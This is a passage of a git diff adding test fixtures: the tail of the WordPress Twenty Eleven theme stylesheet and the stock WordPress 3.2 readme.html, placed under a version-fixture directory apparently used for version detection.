footer.entry-meta a { + color: #444; +} +.indexed.format-image footer.entry-meta a:hover { + color: #fff; +} +#content .indexed.format-image img { + border: none; + max-width: 100%; + padding: 0; +} +.indexed.format-image .wp-caption { + background: #111; + margin-bottom: 0; + max-width: 96%; + padding: 11px; +} +.indexed.format-image .wp-caption .wp-caption-text { + color: #ddd; +} +.indexed.format-image .wp-caption .wp-caption-text:before { + color: #444; +} +.indexed.format-image a:hover img { + opacity: 0.8; +} + + +/* =error404 +----------------------------------------------- */ + +.error404 #main #searchform { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 8.9%; +} +.error404 #main #s { + width: 95%; +} +.error404 #main .widget { + clear: none; + float: left; + margin-right: 3.7%; + width: 30.85%; +} +.error404 #main .widget_archive { + margin-right: 0; +} +.error404 #main .widget_tag_cloud { + float: none; + margin-right: 0; + width: 100%; +} +.error404 .widgettitle { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + + +/* =Showcase +----------------------------------------------- */ + +h1.showcase-heading { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} + +/* Intro */ +article.intro { + background: #f9f9f9; + border-bottom: none; + margin: -1.855em -8.9% 1.625em; + padding: 0 8.9%; +} +article.intro .entry-title { + display: none; +} +article.intro .entry-content { + color: #111; + font-size: 16px; + padding: 1.625em 0 0.625em; +} +article.intro .edit-link a { + background: #aaa; + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + font-size: 12px; + padding: 0 8px; + position: absolute; + top: 30px; + right: 20px; + text-decoration: none; +} +article.intro .edit-link a:hover, +article.intro .edit-link a:focus, +article.intro .edit-link a:active { + background: #777; +} + +/* Featured post */ +section.featured-post { + float: left; + margin: -1.625em -8.9% 1.625em; + padding: 1.625em 8.9% 0; + position: relative; + width: 100%; +} +section.featured-post .hentry { + border: none; + color: #666; + margin: 0; +} +section.featured-post .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} + +/* Small featured post */ +section.featured-post .attachment-small-feature { + float: right; + height: auto; + margin: 0 -8.9% 1.625em 0; + max-width: 59%; + position: relative; + right: -15px; +} +section.featured-post.small { + padding-top: 0; +} +section.featured-post .attachment-small-feature:hover, +section.featured-post .attachment-small-feature:focus, +section.featured-post .attachment-small-feature:active { + opacity: .8; +} +article.feature-image.small { + float: left; + margin: 0 0 1.625em; + width: 45%; +} +article.feature-image.small .entry-title { + line-height: 1.2em; +} +article.feature-image.small .entry-summary { + color: #555; + font-size: 13px; +} +article.feature-image.small .entry-summary p a { + background: #222; + color: #eee; + display: block; + left: -23.8%; + padding: 9px 26px 9px 85px; + position: relative; + text-decoration: none; + top: 20px; + width: 180px; + z-index: 1; +} +article.feature-image.small .entry-summary p a:hover { + background: #1982d1; + color: #eee; + color: rgba(255,255,255,0.8); +} + +/* Large featured post */ +section.feature-image.large { + border: none; + max-height: 288px; + padding: 0; + width: 100%; +} +section.feature-image.large .showcase-heading { + display: none; +} +section.feature-image.large .hentry { + border-bottom: none; + left: 9%; + margin: 1.625em 9% 0 0; + position: absolute; + top: 0; +} +article.feature-image.large .entry-title a { + background: #222; + background: rgba(0,0,0,0.8); + -moz-border-radius: 3px; + border-radius: 3px; + color: #fff; + display: inline-block; + font-weight: 300; + padding: .2em 20px; +} +section.feature-image.large:hover .entry-title a, +section.feature-image.large .entry-title:hover a { + background: #eee; + background: rgba(255,255,255,0.8); + color: #222; +} +article.feature-image.large .entry-summary { + display: none; +} +section.feature-image.large img { + display: block; + height: auto; + max-width: 117.9%; + padding: 0 0 6px; +} + +/* Featured Slider */ +.featured-posts { + border-bottom: 1px solid #ddd; + display: block; + height: 328px; + margin: 1.625em -8.9% 20px; + max-width: 1000px; + padding: 0; + position: relative; + overflow: hidden; +} +.featured-posts .showcase-heading { + padding-left: 8.9%; +} +.featured-posts section.featured-post { + background: #fff; + height: 288px; + left: 0; + margin: 0; + position: absolute; + top: 30px; + width: auto; +} +.featured-posts section.featured-post.large { + max-width: 100%; + overflow: hidden; +} +.featured-posts section.featured-post { + -webkit-transition-duration: 200ms; + -webkit-transition-property: opacity, visibility; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 200ms; + -moz-transition-property: opacity, visibility; + -moz-transition-timing-function: ease; +} +.featured-posts section.featured-post { + opacity: 0; + visibility: hidden; +} +.featured-posts #featured-post-1 { + opacity: 1; + visibility: visible; +} +.featured-post .feature-text:after, +.featured-post .feature-image.small:after { + content: ' '; + background: -moz-linear-gradient(top, rgba(255,255,255,0) 0%, rgba(255,255,255,1) 100%); /* FF3.6+ */ + background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(255,255,255,0)), color-stop(100%,rgba(255,255,255,1))); /* Chrome,Safari4+ */ + background: -webkit-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Chrome10+,Safari5.1+ */ + background: -o-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* Opera11.10+ */ + background: -ms-linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* IE10+ */ + filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00ffffff', endColorstr='#ffffff',GradientType=0 ); /* IE6-9 */ + background: linear-gradient(top, rgba(255,255,255,0) 0%,rgba(255,255,255,1) 100%); /* W3C */ + width: 100%; + height: 45px; + position: absolute; + top: 230px; +} +.featured-post .feature-image.small:after { + top: 253px; +} +#content .feature-slider { + top: 5px; + right: 8.9%; + overflow: visible; + position: absolute; +} +.feature-slider ul { + list-style-type: none; + margin: 0; +} +.feature-slider li { + float: left; + margin: 0 6px; +} +.feature-slider a { + background: #3c3c3c; + background: rgba(60,60,60,0.9); + -moz-border-radius: 12px; + border-radius: 12px; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.5), inset 0 0 2px rgba(255,255,255,0.5); + display: block; + width: 14px; + height: 14px; +} +.feature-slider a.active { + background: #1982d1; + -webkit-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + -moz-box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + box-shadow: inset 1px 1px 5px rgba(0,0,0,0.4), inset 0 0 2px rgba(255,255,255,0.8); + cursor: default; + opacity: 0.5; +} + +/* Recent Posts */ +section.recent-posts { + padding: 0 0 1.625em; +} +section.recent-posts .hentry { + border: none; + margin: 0; +} +section.recent-posts .other-recent-posts { + border-bottom: 1px solid #ddd; + list-style: none; + margin: 0; +} +section.recent-posts .other-recent-posts li { + padding: 0.3125em 0; + position: relative; +} +section.recent-posts .other-recent-posts .entry-title { + border-top: 1px solid #ddd; + font-size: 17px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"] { + color: #373737; + float: left; + max-width: 84%; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:after { + content: '-'; + color: transparent; + font-size: 11px; +} +section.recent-posts .other-recent-posts a[rel="bookmark"]:hover { +} +section.recent-posts .other-recent-posts .comments-link a, +section.recent-posts .other-recent-posts .comments-link > span { + border-bottom: 2px solid #999; + bottom: -2px; + color: #444; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + padding: 0.3125em 0 0.3125em 1em; + position: absolute; + right: 0; + text-align: right; + text-transform: uppercase; + z-index: 1; +} +section.recent-posts .other-recent-posts .comments-link > span { + border-color: #bbb; + color: #888; +} +section.recent-posts .other-recent-posts .comments-link a:hover { + color: #1982d1; + border-color: #1982d1; +} +section.recent-posts .other-recent-posts li:after { + clear: both; + content: '.'; + display: block; + height: 0; + visibility: hidden; +} + + +/* =Attachments +----------------------------------------------- */ + +.image-attachment div.attachment { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 1.625em 0; + text-align: center; +} +.image-attachment div.attachment img { + display: block; + height: auto; + margin: 0 auto 1.625em; + max-width: 100%; +} +.image-attachment div.attachment a img { + border-color: #f9f9f9; +} +.image-attachment div.attachment a:focus img, +.image-attachment div.attachment a:hover img, +.image-attachment div.attachment a:active img { + border-color: #ddd; + background: #fff; +} +.image-attachment .entry-caption p { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} + + +/* =Navigation +-------------------------------------------------------------- */ + +#content nav { + clear: both; + overflow: hidden; + padding: 0 0 1.625em; +} +#content nav a { + font-size: 12px; + font-weight: bold; + line-height: 2.2em; +} +#nav-above { + padding: 0 0 1.625em; +} +#nav-above { + display: none; +} +.paged #nav-above { + display: block; +} +.nav-previous { + float: left; + width: 50%; +} +.nav-next { + float: right; + text-align: right; + width: 50%; +} +#content nav .meta-nav { + font-weight: normal; +} + +/* Singular navigation */ +#nav-single { + float: right; + position: relative; + top: -0.3em; + text-align: right; + width: 100%; + z-index: 1; +} +#nav-single .nav-previous, +#nav-single .nav-next { + float: none; + width: auto; +} +#nav-single .nav-next { + padding-left: .5em; +} + + +/* =Widgets +----------------------------------------------- */ + +.widget-area { + font-size: 12px; +} +.widget { + clear: both; + margin: 0 0 2.2em; +} +.widget-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.widget ul { + font-size: 15px; + margin: 0; +} +.widget ul ul { + margin-left: 1.5em; +} +.widget ul li { + color: #777; + font-size: 13px; +} +.widget a { + font-weight: bold; + text-decoration: none; +} +.widget a:hover, +.widget a:focus, +.widget a:active { + text-decoration: underline; +} + +/* Search Widget */ +.widget_search form { + margin: 0 0 1.625em; +} +.widget_search #s { + width: 77%; +} +.widget_search #searchsubmit { + background: #ddd; + border: 1px solid #ccc; + -webkit-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + -moz-box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + box-shadow: inset 0px -1px 1px rgba(0, 0, 0, 0.09); + color: #888; + font-size: 13px; + line-height: 25px; + position: relative; + top: -2px; +} +.widget_search #searchsubmit:active { + background: #1982d1; + border-color: #0861a5; + -webkit-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + -moz-box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + box-shadow: inset 0px 1px 1px rgba(0, 0, 0, 0.1); + color: #bfddf3; +} + +/* Ephemera Widget */ +section.ephemera ol, +.widget_twentyeleven_ephemera ol { + list-style: square; + margin: 5px 0 0; +} +.widget_twentyeleven_ephemera .widget-entry-title { + font-size: 15px; + font-weight: bold; + padding: 0; +} +.widget_twentyeleven_ephemera .comments-link a, +.widget_twentyeleven_ephemera .comments-link > span { + color: #666; + display: block; + font-size: 10px; + font-weight: 500; + line-height: 2.76333em; + text-transform: uppercase; +} +section.ephemera .entry-title .comments-link a:hover, +.widget_twentyeleven_ephemera .entry-title .comments-link a:hover { +} +section.ephemera .entry-title a span { + color: #29628d; +} + +/* Twitter */ +.widget_twitter li { + list-style-type: none; + margin-bottom: 14px; +} +.widget_twitter .timesince { + display: block; + font-size: 11px; + margin-right: -10px; + text-align: right; +} + +/* Widget Image */ +.widget_image img { + height: auto; + max-width: 100%; +} + +/* Calendar Widget */ + +.widget_calendar #wp-calendar { + color: #555; + width: 95%; + text-align: center; +} +.widget_calendar #wp-calendar caption, +.widget_calendar #wp-calendar td, +.widget_calendar #wp-calendar th { + text-align: center; +} +.widget_calendar #wp-calendar caption { + font-size: 11px; + font-weight: 500; + padding: 5px 0 3px 0; + text-transform: uppercase; +} +.widget_calendar #wp-calendar th { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; + font-weight: bold; +} +.widget_calendar #wp-calendar tfoot td { + background: #f4f4f4; + border-top: 1px solid #ccc; + border-bottom: 1px solid #ccc; +} + + +/* =Comments +----------------------------------------------- */ + +#comments-title { + color: #666; + font-size: 10px; + font-weight: 500; + line-height: 2.6em; + padding: 0 0 2.6em; + text-transform: uppercase; +} +.nopassword, +.nocomments { + color: #aaa; + font-size: 24px; + font-weight: 100; + margin: 26px 0; + text-align: center; +} +.commentlist { + list-style: none; + margin: 0 auto; + width: 68.9%; +} +.content .commentlist, +.page-template-sidebar-page-php .commentlist { + width: 100%; /* reset the width for the one-column and sidebar page layout */ +} +.commentlist > li.comment { + background: #f6f6f6; + border: 1px solid #ddd; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 0 1.625em; + padding: 1.625em; + position: relative; +} +.commentlist .pingback { + margin: 0 0 1.625em; + padding: 0 1.625em; +} +.commentlist .children { + list-style: none; + margin: 0; +} +.commentlist .children li.comment { + background: #fff; + border-left: 1px solid #ddd; + -moz-border-radius: 0 3px 3px 0; + border-radius: 0 3px 3px 0; + margin: 1.625em 0 0; + padding: 1.625em; + position: relative; +} +.commentlist .children li.comment .fn { + display: block; +} +.comment-meta .fn { + font-style: normal; +} +.comment-meta { + color: #666; + font-size: 12px; + line-height: 2.2em; +} +.commentlist .children li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; +} +.commentlist .children li.comment .comment-content { + margin: 1.625em 0 0; +} +.comment-meta a { + font-weight: bold; +} +.comment-meta a:focus, +.comment-meta a:active, +.comment-meta a:hover { +} +.commentlist .avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + left: -102px; + padding: 0; + position: absolute; + top: 0; +} +.commentlist > li:before { + content: url(images/comment-arrow.png); + left: -21px; + position: absolute; +} +.commentlist > li.pingback:before { + content: ''; +} +.commentlist .children .avatar { + background: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; + left: 2.2em; + padding: 0; + top: 2.2em; +} +a.comment-reply-link { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + display: inline-block; + font-size: 12px; + padding: 0 8px; + text-decoration: none; +} +a.comment-reply-link:hover, +a.comment-reply-link:focus, +a.comment-reply-link:active { + background: #888; + color: #fff; +} +a.comment-reply-link > span { + display: inline-block; + position: relative; + top: -1px; +} + +/* Post author highlighting */ +.commentlist > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} +.commentlist > li.bypostauthor .comment-meta { + color: #575757; +} +.commentlist > li.bypostauthor .comment-meta a:focus, +.commentlist > li.bypostauthor .comment-meta a:active, +.commentlist > li.bypostauthor .comment-meta a:hover { +} +.commentlist > li.bypostauthor:before { + content: url(images/comment-arrow-bypostauthor.png); +} + +/* Post Author threaded comments */ +.commentlist .children > li.bypostauthor { + background: #ddd; + border-color: #d3d3d3; +} + +/* sidebar-page.php comments */ +/* Make sure we have room for our comment avatars */ +.page-template-sidebar-page-php .commentlist > li.comment, +.page-template-sidebar-page-php.commentlist .pingback { + margin-left: 102px; + width: auto; +} +/* And a full-width comment form */ +.page-template-sidebar-page-php #respond { + width: auto; +} + +/* Comment Form */ +#respond { + background: #ddd; + border: 1px solid #d3d3d3; + -moz-border-radius: 3px; + border-radius: 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: 68.9%; +} +#respond input[type="text"], +#respond textarea { + background: #fff; + border: 4px solid #eee; + -moz-border-radius: 5px; + border-radius: 5px; + -webkit-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + -moz-box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + box-shadow: inset 0 1px 3px rgba(204,204,204,0.95); + position: relative; + padding: 10px; + text-indent: 80px; +} +#respond .comment-form-author, +#respond .comment-form-email, +#respond .comment-form-url, +#respond .comment-form-comment { + position: relative; +} +#respond .comment-form-author label, +#respond .comment-form-email label, +#respond .comment-form-url label, +#respond .comment-form-comment label { + background: #eee; + -webkit-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + -moz-box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + box-shadow: 1px 2px 2px rgba(204,204,204,0.8); + color: #555; + display: inline-block; + font-size: 13px; + left: 4px; + min-width: 60px; + padding: 4px 10px; + position: relative; + top: 40px; + z-index: 1; +} +#respond input[type="text"]:focus, +#respond textarea:focus { + text-indent: 0; + z-index: 1; +} +#respond textarea { + resize: vertical; + width: 95%; +} +#respond .comment-form-author .required, +#respond .comment-form-email .required { + color: #bd3500; + font-size: 22px; + font-weight: bold; + left: 75%; + position: absolute; + top: 45px; + z-index: 1; +} +#respond .comment-notes, +#respond .logged-in-as { + font-size: 13px; +} +#respond p { + margin: 10px 0; +} +#respond .form-submit { + float: right; + margin: -20px 0 10px; +} +#respond input#submit { + background: #222; + border: none; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + -moz-box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + box-shadow: 0px 1px 2px rgba(0,0,0,0.3); + color: #eee; + cursor: pointer; + font-size: 15px; + margin: 20px 0; + padding: 5px 42px 5px 22px; + position: relative; + left: 30px; + text-shadow: 0 -1px 0 rgba(0,0,0,0.3); +} +#respond input#submit:active { + background: #1982d1; + color: #bfddf3; +} +#respond #cancel-comment-reply-link { + color: #666; + margin-left: 10px; + text-decoration: none; +} +#respond .logged-in-as a:hover, +#respond #cancel-comment-reply-link:hover { + text-decoration: underline; +} +.commentlist #respond { + margin: 1.625em 0 0; + width: auto; +} +#reply-title { + color: #373737; + font-size: 24px; + font-weight: bold; + line-height: 30px; +} +#cancel-comment-reply-link { + color: #888; + display: block; + font-size: 10px; + font-weight: normal; + line-height: 2.2em; + letter-spacing: 0.05em; + position: absolute; + right: 1.625em; + text-decoration: none; + text-transform: uppercase; + top: 1.1em; +} +#cancel-comment-reply-link:focus, +#cancel-comment-reply-link:active, +#cancel-comment-reply-link:hover { + color: #ff4b33; +} +#respond label { + line-height: 2.2em; +} +#respond input[type=text] { + display: block; + height: 24px; + width: 75%; +} +#respond p { + font-size: 12px; +} +p.comment-form-comment { + margin: 0; +} +.form-allowed-tags { + display: none; +} + + +/* =Footer +----------------------------------------------- */ + +#colophon { + clear: both; +} +#supplementary { + border-top: 1px solid #ddd; + padding: 1.625em 7.6%; + overflow: hidden; +} + +/* Two Footer Widget Areas */ +#supplementary.two .widget-area { + float: left; + margin-right: 3.7%; + width: 48.1%; +} +#supplementary.two .widget-area + .widget-area { + margin-right: 0; +} + +/* Three Footer Widget Areas */ +#supplementary.three .widget-area { + float: left; + margin-right: 3.7%; + width: 30.85%; +} +#supplementary.three .widget-area + .widget-area + .widget-area { + margin-right: 0; +} + +/* Site Generator Line */ +#site-generator { + background: #f9f9f9; + border-top: 1px solid #ddd; + color: #666; + font-size: 12px; + line-height: 2.2em; + padding: 2.2em 0.5em; + text-align: center; +} +#site-generator a { + color: #555; + font-weight: bold; +} +#site-generator .sep { + background: url(images/wordpress.png) center left no-repeat; + color: transparent; + display: inline-block; + height: 16px; + line-height: 16px; + margin: 0 7px; + width: 16px; +} + + +/* =Responsive Structure +----------------------------------------------- */ + +@media (max-width: 800px) { + /* Simplify the basic layout */ + #main #content { + margin: 0 7.6%; + width: auto; + } + #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; + } + #main #secondary { + float: none; + margin: 0 7.6%; + width: auto; + } + /* Simplify the showcase template */ + .page-template-showcase-php .featured-posts { + min-height: 280px; + } + .featured-posts section.featured-post { + height: auto; + } + .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; + } + .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; + } + .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; + } + /* Simplify the showcase template when small feature */ + section.featured-post .attachment-small-feature, + .one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + float: left; + height: auto; + margin: 0.625em auto 1.025em; + max-width: 30%; + position: static; + } + article.feature-image.small { + float: right; + margin: 0 0 1.625em; + width: 64%; + } + .one-column article.feature-image.small .entry-summary { + height: auto; + } + article.feature-image.small .entry-summary p a { + left: 0; + padding-left: 20px; + padding-right: 20px; + width: auto; + } + /* Remove the margin on singular articles */ + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + width: 100%; + } + /* Simplify the pullquotes and pull styles */ + .singular blockquote.pull { + margin: 0 0 1.625em; + } + .singular .pull.alignleft { + margin: 0 1.625em 0 0; + } + .singular .pull.alignright { + margin: 0 0 0 1.625em; + } + .singular .entry-meta .edit-link a { + left: 0; + position: absolute; + top: 40px; + } + .singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; + } + /* Make sure we have room for our comment avatars */ + .commentlist { + width: 100%; + } + .commentlist > li.comment, + .commentlist .pingback { + margin-left: 102px; + width: auto; + } + /* And a full-width comment form */ + #respond { + width: auto; + } + /* No need to float footer widgets at this size */ + #colophon #supplementary .widget-area { + float: none; + margin-right: 0; + width: auto; + } + /* No need to float 404 widgets at this size */ + .error404 #main .widget { + float: none; + margin-right: 0; + width: auto; + } + /* Make sure embeds fit their containers */ + embed, + object { + max-width: 100%; + } + +} +@media (max-width: 650px) { + /* @media (max-width: 650px) Reduce font-sizes for better readability on smaller devices */ + body, input, textarea { + font-size: 13px; + } + #site-title a { + font-size: 24px; + } + #site-description { + font-size: 12px; + } + #access ul { + font-size: 12px; + } + article.intro .entry-content { + font-size: 12px; + } + .entry-title { + font-size: 21px; + } + .featured-post .entry-title { + font-size: 14px; + } + .singular .entry-title { + font-size: 28px; + } + .entry-meta { + font-size: 12px; + } + blockquote { + margin: 0; + } + blockquote.pull { + font-size: 17px; + } + /* Reposition the site title and description slightly */ + #site-title { + padding: 5.30625em 0 0; + } + #site-title, + #site-description { + margin-right: 0; + } + /* Make sure the logo and search form don't collide */ + #branding #searchform { + top: 1.625em !important; + } + /* Floated content doesn't work well at this size */ + .alignleft, + .alignright { + float: none; + margin-left: 0; + margin-right: 0; + } + /* Make sure the post-post navigation doesn't collide with anything */ + #nav-single { + display: block; + position: static; + } + .singular .hentry { + padding: 1.625em 0 0; + } + .singular.page .hentry { + padding: 1.625em 0 0; + } + /* Talking avatars take up too much room at this size */ + .commentlist > li.comment, + .commentlist > li.pingback { + margin-left: 0 !important; + } + .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + position: static; + } + .commentlist .children .avatar { + background: none; + left: 2.2em; + padding: 0; + position: absolute; + top: 2.2em; + } + /* Use the available space in the smaller comment form */ + #respond input[type="text"] { + width: 95%; + } + #respond .comment-form-author .required, + #respond .comment-form-email .required { + left: 95%; + } + #content .gallery-columns-3 .gallery-item { + width: 31%; + padding-right: 2%; + } + #content .gallery-columns-3 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media (max-width: 450px) { + #content .gallery-columns-2 .gallery-item { + width: 45%; + padding-right: 4%; + } + #content .gallery-columns-2 .gallery-item img { + width: 100%; + height: auto; + } + +} +@media only screen and (min-device-width: 320px) and (max-device-width: 480px) { + body { + padding: 0; + } + #page { + margin-top: 0; + } + #branding { + border-top: none; + } + +} + + +/* =Print +----------------------------------------------- */ + +@media print { + body { + background: none !important; + font-size: 10pt; + } + footer.entry-meta a[rel=bookmark]:link:after, + footer.entry-meta a[rel=bookmark]:visited:after { + content: " [" attr(href) "] "; /* Show URLs */ + } + #page { + clear: both !important; + display: block !important; + float: none !important; + max-width: 100%; + position: relative !important; + } + #branding { + border-top: none !important; + padding: 0; + } + #branding hgroup { + margin: 0; + } + #site-title a { + font-size: 21pt; + } + #site-description { + font-size: 10pt; + } + #branding #searchform { + display: none; + } + #branding img { + display: none; + } + #access { + display: none; + } + #main { + border-top: none; + box-shadow: none; + } + #primary { + float: left; + margin: 0; + width: 100%; + } + #content { + margin: 0; + width: auto; + } + .singular #content { + margin: 0; + width: 100%; + } + .singular .entry-header .entry-meta { + position: static; + } + .entry-meta .edit-link a { + display: none; + } + #content nav { + display: none; + } + .singular .entry-header, + .singular .entry-content, + .singular footer.entry-meta, + .singular #comments-title { + margin: 0; + width: 100%; + } + .singular .hentry { + padding: 0; + } + .entry-title, + .singular .entry-title { + font-size: 21pt; + } + .entry-meta { + font-size: 10pt; + } + .entry-header .comments-link { + display: none; + } + .page-link { + display: none; + } + .singular #author-info { + background: none; + border-bottom: none; + border-top: none; + margin: 2.2em 0 0; + padding: 0; + } + #respond { + display: none; + } + .widget-area { + display: none; + } + #colophon { + display: none; + } + + /* Comments */ + .commentlist > li.comment { + background: none; + border: 1px solid #ddd; + -moz-border-radius: 3px 3px 3px 3px; + border-radius: 3px 3px 3px 3px; + margin: 0 auto 1.625em; + padding: 1.625em; + position: relative; + width: auto; + } + .commentlist .avatar { + height: 39px; + left: 2.2em; + top: 2.2em; + width: 39px; + } + .commentlist li.comment .comment-meta { + line-height: 1.625em; + margin-left: 50px; + } + .commentlist li.comment .fn { + display: block; + } + .commentlist li.comment .comment-content { + margin: 1.625em 0 0; + } + .commentlist .comment-edit-link { + display: none; + } + .commentlist > li::before, + .commentlist > li.bypostauthor::before { + content: ''; + } + .commentlist .reply { + display: none; + } + + /* Post author highlighting */ + .commentlist > li.bypostauthor { + color: #444; + } + .commentlist > li.bypostauthor .comment-meta { + color: #666; + } + .commentlist > li.bypostauthor:before { + content: none; + } + + /* Post Author threaded comments */ + .commentlist .children > li.bypostauthor { + background: #fff; + border-color: #ddd; + } + .commentlist .children > li.bypostauthor > article, + .commentlist .children > li.bypostauthor > article .comment-meta { + color: #666; + } + +} + + +/* =IE7 +----------------------------------------------- */ + +#ie7 article.intro { + margin-left: -7.6%; + margin-right: -7.6%; + padding-left: -7.6%; + padding-right: -7.6%; + max-width: 1000px; +} +#ie7 section.featured-post { + margin-left: -7.6%; + margin-right: -7.6%; + max-width: 850px; +} +#ie7 section.recent-posts { + margin-right: 7.6%; +} diff --git a/spec/fixtures/wp_versions/3.2/readme.html b/spec/fixtures/wp_versions/3.2/readme.html new file mode 100755 index 00000000..bc57c4ec --- /dev/null +++ b/spec/fixtures/wp_versions/3.2/readme.html @@ -0,0 +1,109 @@ + + + + + WordPress › ReadMe + + + +

+ WordPress +
Version 3.2 +

+

Semantic Personal Publishing Platform

+ +

First Things First

+

Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.

+

— Matt Mullenweg

+ +

Installation: Famous 5-minute install

+
    +
  1. Unzip the package in an empty directory and upload everything.
  2. +
  3. Open wp-admin/install.php in your browser. It will take you through the process to set up a wp-config.php file with your database connection details. +
      +
    1. If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up wp-config-sample.php with a text editor like WordPad or similar and fill in your database connection details.
    2. +
    3. Save the file as wp-config.php and upload it.
    4. +
    5. Open wp-admin/install.php in your browser.
    6. +
    +
  4. +
  5. Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your wp-config.php file, and try again. If it fails again, please go to the support forums with as much data as you can gather.
  6. +
  7. If you did not enter a password, note the password given to you. If you did not provide a username, it will be admin.
  8. +
  9. The installer should then send you to the login page. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.
  10. +
+ +

Updating

+

Using the Automatic Updater

+

If you are updating from version 2.7 or higher, you can use the automatic updater:

+
    +
  1. Open the wp-admin/update-core.php in your browser and follow the instructions.
  2. +
  3. You wanted more, perhaps? That's it!
  4. +
+ +

Updating Manually

+
    +
  1. Before you update anything, make sure you have backup copies of any files you may have modified such as index.php.
  2. +
  3. Delete your old WordPress files, saving ones you've modified.
  4. +
  5. Upload the new files.
  6. +
  7. Point your browser to /wp-admin/upgrade.php.
  8. +
+ +

Theme Template Changes

+

If you have customized your theme templates, you may have to make some changes across major versions.

+ +

Migrating from other systems

+

WordPress can import from a number of systems. First you need to get WordPress installed and working as described above, before using our import tools.

+ +

System Requirements

+
    +
  • PHP version 5.2.4 or higher.
  • +
  • MySQL version 5.0 or higher.
  • +
+ +

System Recommendations

+ + +

Online Resources

+

If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:

+
+
The WordPress Codex
+
The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.
+
The WordPress Blog
+
This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.
+
WordPress Planet
+
The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.
+
WordPress Support Forums
+
If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.
+
WordPress IRC Channel
+
There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (irc.freenode.net #wordpress)
+
+ +

XML-RPC and Atom Interface

+

You can post to your WordPress blog with tools like Windows Live Writer, Ecto, w.bloggar, Radio Userland (which means you can use Radio's email-to-blog feature), NewzCrawler, and other tools that support the blogging APIs! :) You can read more about XML-RPC support on the Codex.

+ +

Post via Email

+

You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret POP3 account. Then you need to set up wp-mail.php to execute periodically to check the mailbox for new posts. You can do it with cron-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your wp-mail.php URL.

+

